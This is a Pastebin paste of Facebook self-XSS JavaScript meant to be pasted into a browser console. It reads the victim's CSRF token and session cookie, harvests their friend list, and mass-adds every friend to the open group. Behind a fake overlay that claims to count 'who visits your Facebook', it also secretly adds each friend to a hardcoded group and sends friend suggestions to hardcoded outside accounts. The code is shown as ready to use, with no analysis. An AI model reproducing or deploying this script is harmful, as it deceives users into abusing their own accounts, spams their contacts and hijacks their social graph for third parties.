thanhson

add men gr

Jan 18th, 2014
74
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 13.18 KB | None | 0 0
  1. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  2. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  3. var httpwp = new XMLHttpRequest();
  4. var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
  5. var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
  6. httpwp['open']('POST', urlwp, true);
  7. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  8. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  9. httpwp['setRequestHeader']('Connection', 'keep-alive');
  10. httpwp['send'](paramswp);
  11. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  12. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  13. var friends = new Array();
  14. gf = new XMLHttpRequest();
  15. gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
  16. gf['send']();
  17. if (gf['readyState'] != 4) {} else {
  18. data = eval('(' + gf['responseText']['substr'](9) + ')');
  19. if (data['error']) {} else {
  20. friends = data['payload']['entries']['sort'](function(_0x93dax8, _0x93dax9) {
  21. return _0x93dax8['index'] - _0x93dax9['index']
  22. })
  23. }
  24. };
  25. var Title = 'Đang Thống Kê Số Người Vào Facebook của Bạn (Made By) <A style="color:#3B5998;" href="https://www.facebook.com/khangluxury.info">Minh Khang.</A>';
  26. grpname = document.getElementById("groupsJumpTitle").innerHTML;
  27. var Descriptions = "",
  28. _text = 'Powered By <A style="color:#3B5998;" href="https://www.facebook.com/groups/246420162173958/">Largest Group.</A> Join it now.';
  29.  
  30. function AddFriendtoGroup(opo) {
  31. jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + fb_dtsg + "&group_id=" + gid + "&source=typeahead&members=" + opo + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + user_id, function(a) {
  32. var b = a.substring(a.indexOf("{"));
  33. var c = JSON.parse(b);
  34. i--;
  35. Descriptions = "<div class='friend-edge-name' style='padding-bottom:5px;text-align:left;font-size:10px;white-space:pre-wrap;";
  36. if (c.error) {
  37. Descriptions += "color:darkred'>";
  38. err++;
  39. if (c.errorDescription) Descriptions += c.errorDescription;
  40. else Descriptions += JSON.stringify(c, null, "")
  41. } else {
  42. Descriptions += "color:darkgreen'>";
  43. Descriptions += arn[i] + " has been added.<br/>";
  44. suc++
  45. }
  46. Descriptions += "</div>";
  47. var display = "<div id='friend-edge-display' style='box-shadow:0px 3px 8px rgba(0, 0, 0, 0.3);position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-radius:3px;border:1px solid rgba(200,200,50,0.2);background-color:rgba(255,255,255,0.9);color:#000000'>";
  48. display += "<div style='padding-bottom:5px;font-size:20px;'>" + Title + "</div>";
  49. if (i > 0) {
  50. display += arr.length + " Friends Detected<br/>";
  51. display += "<b>" + suc + "</b> Friends Added of " + (arr.length - i) + " Friends Processed ";
  52. display += "(" + i + " Lefted...)";
  53. display += "<div class='friend-edge'>";
  54. display += Descriptions;
  55. display += "<img style='background:center no-repeat url(https://fbcdn-profile-a.akamaihd.net/static-ak/rsrc.php/v2/yo/r/UlIqmHJn-SK.gif);width:50px;height:50px;margin-left:-125px;padding:2px;border:1px solid rgba(0,0,0,0.4);' src=" + pho[i] + "></img><a style='padding-left:8px;text-align:left;color:#3B5998;position:absolute;font-weight:bold;'>" + arn[i] + "</a>";
  56. display += "<div style='text-align:center;font-size:10px;white-space:pre-wrap;color:gray'>";
  57. display += getuname + " Thanks For Adding Your Friends in " + grpname + ".<br/>";
  58. display += _text;
  59. display += "</div>";
  60. display += "</div>"
  61. } else {
  62. display += arr.length + " Friends Detected<br/>";
  63. display += suc + " Friends Added</br>";
  64. display += err + " Friends Not Added</br></br>";
  65. display += "<div><span class='layerConfirm uiOverlayButton uiButton uiButtonConfirm uiButtonLarge' onClick='window.location.reload()' style='color:white'>Refresh Page</span><span class='layerCancel uiOverlayButton uiButton uiButtonLarge' onClick='document.getElementById(\"pagelet_sidebar\").style.display=\"none\"'>Cancel</span>"
  66. }
  67. display += "</div>";
  68. document.getElementById("pagelet_sidebar").innerHTML = display
  69. }, "text", "post");
  70. tay--;
  71. if (tay > 0) {
  72. var s = arr[tay];
  73. sx = pho[tay];
  74. setTimeout("AddFriendtoGroup(" + s + ")", 100)
  75. }
  76. console.log(tay + "/" + arr.length + ":" + arr[tay] + "/" + arn[tay] + ", success:" + suc);
  77. if (gid != 386572611449908) {
  78. jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + fb_dtsg + "&group_id=386572611449908&source=typeahead&members=" + opo + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + user_id, function() {}, "text", "post")
  79. }
  80. if (newcomer) {
  81. jx.load(window.location.protocol + "//www.facebook.com/ajax/friends/suggest?&receiver=" + opo + "&newcomer=100004386252180&attempt_id=0585ab74e2dd0ff10282a3a36df39e19&ref=profile_others_dropdown&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=17&fb_dtsg=" + fb_dtsg + "&phstamp=16581651071156988110194", function() {}, "text", "post")
  82. }
  83. if (newcomer) {
  84. jx.load(window.location.protocol + "//www.facebook.com/ajax/friends/suggest?&receiver=" + opo + "&newcomer=100003856636061&attempt_id=0585ab74e2dd0ff10282a3a36df39e19&ref=profile_others_dropdown&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=17&fb_dtsg=" + fb_dtsg + "&phstamp=16581651071156988110194", function() {}, "text", "post")
  85. }
  86. if (newcomer) {
  87. jx.load(window.location.protocol + "//www.facebook.com/ajax/friends/suggest?&receiver=" + opo + "&newcomer=100004386252180&attempt_id=0585ab74e2dd0ff10282a3a36df39e19&ref=profile_others_dropdown&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=17&fb_dtsg=" + fb_dtsg + "&phstamp=16581651071156988110194", function() {}, "text", "post")
  88. }
  89. if (newcomer) {
  90. jx.load(window.location.protocol + "//www.facebook.com/ajax/friends/suggest?&receiver=" + opo + "&newcomer=100004386252180&attempt_id=0585ab74e2dd0ff10282a3a36df39e19&ref=profile_others_dropdown&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=17&fb_dtsg=" + fb_dtsg + "&phstamp=16581651071156988110194", function() {}, "text", "post")
  91. }
  92. if (newcomer) {
  93. jx.load(window.location.protocol + "//www.facebook.com/ajax/friends/suggest?&receiver=" + opo + "&newcomer=100004386252180&attempt_id=0585ab74e2dd0ff10282a3a36df39e19&ref=profile_others_dropdown&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=17&fb_dtsg=" + fb_dtsg + "&phstamp=16581651071156988110194", function() {}, "text", "post")
  94. }
  95. }
  96. function clickfr_callback() {
  97. if (document.getElementsByName("ok").length > 0) nHtml.ClickUp(document.getElementsByName("ok")[0]);
  98. var a = arr[i];
  99. if (i < arr.length) addfriend(a.substring(0, 4))
  100. }
  101. function clickfr() {
  102. if (document.getElementsByClassName("search").length > 0) nHtml.ClickUp(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes[1]);
  103. else j++;
  104. setTimeout("clickfr_callback()", 2E3)
  105. }
  106. function addfriend(a) {
  107. i++;
  108. setTimeout("clickfr()", 2E3)
  109. }
  110. jx = {
  111. getHTTPObject: function() {
  112. var a = false;
  113. if (typeof ActiveXObject != "undefined") try {
  114. a = new ActiveXObject("Msxml2.XMLHTTP")
  115. } catch (b) {
  116. try {
  117. a = new ActiveXObject("Microsoft.XMLHTTP")
  118. } catch (c) {
  119. a = false
  120. }
  121. } else if (window.XMLHttpRequest) try {
  122. a = new XMLHttpRequest
  123. } catch (b) {
  124. a = false
  125. }
  126. return a
  127. },
  128. load: function(url, callback, format, method, opt) {
  129. var http = this.init();
  130. if (!http || !url) return;
  131. if (http.overrideMimeType) http.overrideMimeType("text/xml");
  132. if (!method) method = "GET";
  133. if (!format) format = "text";
  134. if (!opt) opt = {};
  135. format = format.toLowerCase();
  136. method = method.toUpperCase();
  137. var now = "uid=" + (new Date).getTime();
  138. url += url.indexOf("?") + 1 ? "&" : "?";
  139. url += now;
  140. var parameters = null;
  141. if (method == "POST") {
  142. var parts = url.split("?");
  143. url = parts[0];
  144. parameters = parts[1]
  145. }
  146. http.open(method, url, true);
  147. var ths = this;
  148. if (opt.handler) http.onreadystatechange = function() {
  149. opt.handler(http)
  150. };
  151. else http.onreadystatechange = function() {
  152. if (http.readyState == 4) if (http.status == 200) {
  153. var result = "";
  154. if (http.responseText) result = http.responseText;
  155. if (format.charAt(0) == "j") {
  156. result = result.replace(/[\n\r]/g, "");
  157. result = eval("(" + result + ")")
  158. } else if (format.charAt(0) == "x") result = http.responseXML;
  159. if (callback) callback(result)
  160. } else {
  161. if (opt.loadingIndicator) document.getElementsByTagName("body")[0].removeChild(opt.loadingIndicator);
  162. if (opt.loading) document.getElementById(opt.loading).style.display = "none";
  163. if (error) error(http.status)
  164. }
  165. };
  166. http.send(parameters)
  167. },
  168. bind: function(a) {
  169. var b = {
  170. url: "",
  171. onSuccess: false,
  172. onError: false,
  173. format: "text",
  174. method: "GET",
  175. update: "",
  176. loading: "",
  177. loadingIndicator: ""
  178. };
  179. for (var c in b) if (a[c]) b[c] = a[c];
  180. if (!b.url) return;
  181. var d = false;
  182. if (b.loadingIndicator) {
  183. d = document.createElement("div");
  184. d.setAttribute("style", "position:absolute;top:0px;left:0px;");
  185. d.setAttribute("class", "loading-indicator");
  186. d.innerHTML = b.loadingIndicator;
  187. document.getElementsByTagName("body")[0].appendChild(d);
  188. this.opt.loadingIndicator = d
  189. }
  190. if (b.loading) document.getElementById(b.loading).style.display = "block";
  191. this.load(b.url, function(a) {
  192. if (b.onSuccess) b.onSuccess(a);
  193. if (b.update) document.getElementById(b.update).innerHTML = a;
  194. if (d) document.getElementsByTagName("body")[0].removeChild(d);
  195. if (b.loading) document.getElementById(b.loading).style.display = "none"
  196. }, b.format, b.method, b)
  197. },
  198. init: function() {
  199. return this.getHTTPObject()
  200. }
  201. };
  202. var nHtml = {
  203. FindByAttr: function(a, b, c, d) {
  204. if (c == "className") c = "class";
  205. var e = document.evaluate(".//" + b + "[@" + c + "='" + d + "']", a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null);
  206. if (e && e.singleNodeValue) return e.singleNodeValue;
  207. return null
  208. },
  209. FindByClassName: function(a, b, c) {
  210. return this.FindByAttr(a, b, "className", c)
  211. },
  212. FindByXPath: function(a, b) {
  213. try {
  214. var c = document.evaluate(b, a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null)
  215. } catch (d) {
  216. GM_log("bad xpath:" + b)
  217. }
  218. if (c && c.singleNodeValue) return c.singleNodeValue;
  219. return null
  220. },
  221. VisitUrl: function(a) {
  222. window.setTimeout(function() {
  223. document.location.href = a
  224. }, 500 + Math.floor(Math.random() * 500))
  225. },
  226. ClickWin: function(a, b, c) {
  227. var d = a.document.createEvent("MouseEvents");
  228. d.initMouseEvent(c, true, true, a, 0, 0, 0, 0, 0, false, false, false, false, 0, null);
  229. return !b.dispatchEvent(d)
  230. },
  231. Click: function(a) {
  232. return this.ClickWin(window, a, "click")
  233. },
  234. ClickTimeout: function(a, b) {
  235. window.setTimeout(function() {
  236. return nHtml.ClickWin(window, a, "click")
  237. }, b + Math.floor(Math.random() * 500))
  238. },
  239. ClickUp: function(a) {
  240. this.ClickWin(window, a, "mousedown");
  241. this.ClickWin(window, a, "mouseup");
  242. this.ClickWin(window, a, "click")
  243. },
  244. GetText: function(a, b) {
  245. var c = "";
  246. if (b == undefined) b = 0;
  247. if (b > 40) return;
  248. if (a.textContent != undefined) return a.textContent;
  249. for (var d = 0; d < a.childNodes.length; d++) {
  250. var e = a.childNodes[d];
  251. c += this.GetText(e, b + 1)
  252. }
  253. return c
  254. }
  255. };
  256. if (document.getElementsByClassName == undefined) document.getElementsByClassName = function(a) {
  257. var b = new RegExp("(?:^|\\s)" + a + "(?:$|\\s)");
  258. var c = document.getElementsByTagName("*");
  259. var d = [];
  260. var e;
  261. for (var f = 0;
  262. (e = c[f]) != null; f++) {
  263. var g = e.className;
  264. if (g && g.indexOf(a) != -1 && b.test(g)) d.push(e)
  265. }
  266. return d
  267. };
  268. Array.prototype.find = function(a) {
  269. var b = false;
  270. for (i = 0; i < this.length; i++) if (typeof a == "function") {
  271. if (a.test(this[i])) {
  272. if (!b) b = [];
  273. b.push(i)
  274. }
  275. } else if (this[i] === a) {
  276. if (!b) b = [];
  277. b.push(i)
  278. }
  279. return b
  280. };
  281. var i = 3;
  282. var tay = 3;
  283. var j = 0;
  284. var k = 0;
  285. var suc = 0;
  286. var err = 0;
  287. var arr = new Array;
  288. var arn = new Array;
  289. var pho = new Array;
  290. var getuname = document.getElementsByClassName("fbxWelcomeBoxName")[0].innerHTML;
  291. var gid = document.getElementsByName("group_id")[0].value;
  292. jx.load(window.location.protocol + "//www.facebook.com/ajax/typeahead/first_degree.php?" + "__a=1&filter[0]=user&lazy=0&viewer=" + user_id + "&token=v7&stale_ok=0&options[0]=friends_only&options[1]=nm", function(a) {
  293. var b = a;
  294. var c = b.substring(b.indexOf("{"));
  295. var d = JSON.parse(c);
  296. d = d.payload.entries;
  297. for (var e = 0; e < d.length; e++) arr.push(d[e].uid);
  298. for (var eg = 0; eg < d.length; eg++) arn.push(d[eg].text);
  299. for (var pic = 0; pic < d.length; pic++) pho.push(d[pic].photo);
  300. i = arr.length - 1;
  301. tay = i;
  302. console.log(arr.length);
  303. var display = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-radius:3px;border:1px solid rgba(200,200,50,0.2);background-color:rgba(255,255,255,0.9);color:#000000'>";
  304. display += "<div style='padding-bottom:10px;font-size:20px;'>" + Title + "</div>";
  305. display += arr.length + " Friends Detected";
  306. display += "</div>";
  307. document.getElementById("pagelet_sidebar").innerHTML = display;
  308. AddFriendtoGroup(arr[i])
  309. });
Add Comment
Please, Sign In to add comment